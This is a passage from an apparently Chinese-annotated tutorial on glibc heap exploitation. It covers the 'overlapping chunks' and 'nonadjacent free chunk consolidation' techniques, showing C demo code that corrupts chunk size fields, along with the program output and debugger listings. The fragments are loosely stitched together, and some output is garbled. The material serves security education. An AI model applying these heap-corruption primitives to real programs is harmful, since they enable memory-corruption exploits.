free(p2); // p2现在在unsorted bin中,时刻准备为新的malloc服务 fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");
// 现在模拟一下溢出来覆写p2的size fprintf(stderr, "Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
//对实例程序而言,最后三个字节是什么并不重要,然而,我们最好还是维持一下堆的稳定性 fprintf(stderr, "For a toy program, the value of the last 3 bits is unimportant;" " however, it is best to maintain the stability of the heap.\n");
//为了维持堆的稳定性,我们还是要把prev_inuse标志位设位1来确保我们的p1不会被错误的认为是一个free chunk fprintf(stderr, "To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse)," " to assure that p1 is not mistaken for a free chunk.\n");
int evil_chunk_size = 0x181; int evil_region_size = 0x180 - 8; fprintf(stderr, "We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", evil_chunk_size, evil_region_size);
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
//现在我们分配一个和p2被注入的size一样的大小的chunk fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n" "size of the chunk p2 injected size\n");
这次的malloc将会从我们刚刚修改过size的unsoted bin中取出free chunk fprintf(stderr, "This malloc will be served from the previously freed chunk that\n" "is parked in the unsorted bin which size has been modified by us\n"); p4 = malloc(evil_region_size);
fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); fprintf(stderr, "p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); fprintf(stderr, "p4 should overlap with p3, in this case p4 includes all p3.\n");
//现在我们写进p4的内容就可以覆盖p3啦,同时,我们写到p3里的内容也可以修改p4的内容 fprintf(stderr, "\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");
fprintf(stderr, "Let's run through an example. Right now, we have:\n"); fprintf(stderr, "p4 = %s\n", (char *)p4); fprintf(stderr, "p3 = %s\n", (char *)p3);
Let's start to allocate 3 chunks on the heap The 3 chunks have been allocated here: p1=0x7aa010 p2=0x7aa110 p3=0x7aa210
Now let's free the chunk p2 The chunk p2 is now in the unsorted bin ready to serve possible new malloc() of its size Now let's simulate an overflow that can overwrite the size of the chunk freed p2. For a toy program, the value of the last 3 bits is unimportant; however, it is best to maintain the stability of the heap. To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse), to assure that p1 is not mistaken for a free chunk. We are going to set the size of chunk p2 to to 385, which gives us a region size of 376
Now let's allocate another chunk with a size equal to the data size of the chunk p2 injected size This malloc will be served from the previously freed chunk that is parked in the unsorted bin which size has been modified by us
p4 has been allocated at 0x7aa110 and ends at 0x7aa288 p3 starts at 0x7aa210 and ends at 0x7aa288 p4 should overlap with p3, in this case p4 includes all p3.
Now everything copied inside chunk p4 can overwrites data on chunk p3, and data written to chunk p3 can overwrite data stored in the p4 chunk.
Let's run through an example. Right now, we have: p4 = xK<5 3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333
If we memset(p4, '4', 376), we have: p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444 3 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444
And if we then memset(p3, '3', 80), we have: p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444 3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444
33 free(p2); ► 34 fprintf(stderr, "The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");
47 *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 48 ► 49 fprintf(stderr, "\nNow let's allocate another chunk with a size equal to the data\n"
53 p4 = malloc(evil_region_size); 54 ► 55 fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
► 67 memset(p4, '4', evil_region_size);
71 fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n"); ► 72 memset(p3, '3', 80);
intptr_t *p1,*p2,*p3,*p4,*p5,*p6; unsignedint real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6; int prev_in_use = 0x1;
//这个也被称为不相邻的free chunk conslidation 攻击(这里就不强翻了,没呢味儿 fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n"); fprintf(stderr, "\nLet's start to allocate 5 chunks on the heap:");
fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsignedchar *)p1+malloc_usable_size(p1)); fprintf(stderr, "\nchunk p2 from %p to %p", p2, (unsignedchar *)p2+malloc_usable_size(p2)); fprintf(stderr, "\nchunk p3 from %p to %p", p3, (unsignedchar *)p3+malloc_usable_size(p3)); fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsignedchar *)p4+malloc_usable_size(p4)); fprintf(stderr, "\nchunk p5 from %p to %p\n", p5, (unsignedchar *)p5+malloc_usable_size(p5));
//我们现在Free一下p4,在有p5邻接top chunk的情况下,我们释放p4不会引起p4与top chunk的合并 fprintf(stderr, "\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n");
free(p4);
//现在我们通过溢出chunk p1将chunk p2的size改成p2+p3的大小并且将标注为设为正在使用来触发漏洞 fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");
现在我们再free p2,这个时候ptmalloc就会认为下一个chunk是p4(p2的size已经被我们更改为p2+p3的大小了 fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
//这样就会创建一个大的错误包含p3的free chunk fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n"); free(p2);
//现在我们再创建一个新的大小正好是我们创建的fake free chunk的新chunk fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");
fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n"); fprintf(stderr, "\nchunk p6 from %p to %p", p6, (unsignedchar *)p6+real_size_p6); fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsignedchar *) p3+real_size_p3);
53 free(p4); 54 ► 55 fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");
57 *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE 58 ► 59 fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
61 free(p2); 62 ► 63 fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");